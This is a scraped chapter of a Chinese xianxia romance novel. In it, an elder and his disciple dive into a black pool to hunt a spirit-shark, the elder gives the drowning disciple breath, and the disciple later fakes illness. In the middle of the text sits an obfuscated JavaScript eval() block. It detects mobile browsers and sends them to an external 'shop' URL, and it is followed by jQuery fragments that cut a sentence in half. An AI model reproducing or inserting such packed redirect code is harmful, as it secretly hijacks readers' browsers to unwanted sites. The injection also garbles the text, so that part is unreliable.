奖赏的事在第二日还是被凌渊堵在主殿里。
“师尊……”
“说。”
“奖赏。”
“灵石自己拿。”
“弟子不缺灵石。”凌渊双手撑在桌案上,垂眸看着楚无毓。
“……那你要什么?”
楚无毓已经准备好只要这人敢口出狂言就把这人撵出去。
“弟子要师尊身体健康,平平安安的。”凌渊看着楚无毓红透的耳尖,笑出声来,“师尊想到什么了?”
“没什么……滚出去。”
还没等凌渊开口,一名戒律堂的弟子抱着卷案件就跌跌撞撞地进了主殿。
“楚长老!!符长老有药要找!!”
“灵枢峰弟子无人了?剑堂法阁呢?怎么找上戒律司了?”
“不瞒长老,确实没人了,前几日找药草就派完了……”
楚无毓默默接过案件,顺手扶了弟子一把,垂眸翻看着案卷。
是灵鲛的案子,压在戒律司的案头已经大半个月了,戒律司弟子翻遍了卷宗,查了无数资料,最终确定那只灵鲛藏身的地方——鲛山北边的一片深水潭。
楚无毓毫不犹豫唤来渡鸢,带着凌渊,三人一齐收整好出门。
鲛山的潭极深,水色发黑,看不见底,潭边寸草不生,连石头都是黑的,似是被腐蚀过。
渡鸢蹲在潭边,伸手探了探水温,凉得她缩了一下,她站起来走到楚无毓面前。
“师尊,灵鲛就在下面。弟子上次下去过,但它藏得太深,弟子追不上。”
楚无毓看着那片黑沉沉的潭水沉默了一会儿。
“凌渊。”
凌渊从身后走上前:“弟子在。”
“你跟我下去,渡鸢在上面守着。”
“是。”
水下比凌渊想得更黑,一点光都没有,他只能感觉到楚无毓的灵力在前面,一根细细的线牵着他往前走,他跟着那根线游得很慢。
楚无毓的灵力忽地停了一下,凌渊也停下来,有人在远处唱歌,那声音忽远忽近,一会儿在左边,一会儿在右边。
凌渊分不清方向,只能感觉到那根灵力线绷紧了,楚无毓在警告他。
灵鲛出现了,凌渊没有看见,他只感觉到一股巨大的水流从侧面涌过来,把他整个人掀翻了,他在水里翻了几圈,分不清上下左右。
他下意识张开嘴,水灌进喉咙里,呛得他咳不出来,肺里的空气被挤出去,水涌进来,他什么都抓不住。
他的意识开始模糊,眼前出现了一片白光,他伸出手想抓住那根灵力线。
灵力线断了。
楚无毓发现凌渊的灵力消失了,他转过身,什么都看不见,但他能感觉到凌渊的位置——在他的左后方,正在往下沉。
他转身往回游,动作比任何时候都快,水从他的衣袍间穿过,发出沉闷的响声。
凌渊的身体在往下沉,衣袍在水里散开,如同一朵黑色的花,他的眼睛闭着,嘴微微张着,水从嘴角溢进去。
楚无毓游到他身边,一手揽住他的腰,另一只手托着他的后脑勺,灵光显现,楚无毓低下头贴在凌渊的唇上。
渡气,只是渡气,他把气渡进凌渊的嘴里,第三次的时候,凌渊的手指动了一下,他醒了。
凌渊睁开眼睛,看见楚无毓的脸,他的大脑一片空白,楚无毓的嘴唇是凉的,但贴着就不想离开。
他按住楚无毓的后颈,动作甚至带着些狠劲,楚无毓也懵了。
这崽子估计呛着了。
楚无毓松开他:“注意呼吸。”
他转过身继续往前游,灵力线重新接上了,比之前更紧,凌渊跟在后面,摸了摸自己的嘴唇,脸上红晕未散,他把手放下,跟着那根灵力线往前游。
灵鲛被引了出来,楚无毓一剑刺穿了它的眼睛,血在水里散开,取到了灵鲛血,楚无毓收剑,转过身看着凌渊。
“走。”
两个人一前一后地往上游,回到岸上,楚无毓上了岸,衣袍湿透了,贴在身上,他施了法术,衣服干了,他转过身看着凌渊,凌渊坐在岸边,低着头,喘着气。
“受伤了吗?”
“没有。”
“呛水了?”
“弟子没事。”
***
回到清泉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17647539|206813||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
宗,把灵鲛血交给灵枢峰,楚无毓把自己关在主殿里,他坐在案前,脑子里反复回放着水下的画面,他再也不想见凌渊了。
楚无毓拿起笔想批案卷,笔尖悬在纸上,许久没有落下,他把笔放下,趴在桌上,把脸埋在胳膊里。
怎么就发生这种事情了?以后他还怎么见人?
主殿的门被敲响,凌渊难得小心翼翼的声音响起。
“师尊?还好吗?”
楚无毓憋了不知多久,还是起身拉开了门,门开的一瞬间,凌渊瘫软着倒进了他的怀里。
“???”
“师尊……弟子头疼……”
楚无毓伸手一探凌渊额头,果不其然,烫的。估计是水下着了凉没及时处理。
“凌渊?醒醒。”楚无毓晃了晃怀中的人,怎么晃都毫无反应。
楚无毓还是亲自抱着人去了灵枢峰。
“楚长老!小渊这是……?”符然间两人这架势,急忙迎了上去。
“着了凉,发烧了。”楚无毓语气重了些,“挺严重的?”
符然把凌渊扶到软榻上躺下,一通诊断,病了,但不重。
“不重?不重怎么会晕?”楚无毓蹙眉看向符然。
符然汗颜:“这……”
符然将药碗递给楚无毓,道:“我还有药房要管,喂药的事就麻烦楚长老了。”
楚无毓接过药碗,舀了一勺汤药喂到凌渊嘴边,偏偏凌渊紧闭着嘴,这架势倒像是要楚无毓亲自渡药了。
楚无毓犹豫着可能性时,符然的身音从屋外传来:“忘记说了,楚长老,他早就醒了。”
“……”
楚无毓脸色沉了沉,于是符然回来就看见自家病号被按在地上一副要死了的模样。
“楚长老冷静!!!!”
“逆徒当诛!!”楚无毓手上力道不减,凌渊却还是副笑脸,双手护着楚无毓的腰。
“师尊大人饶命啊~”
楚无毓冷静片刻,一把拎起凌渊走出病房。
“接下来的事不劳符长老费心了,人我带回去,好好管教一番。”
“下手轻些呐楚长老……”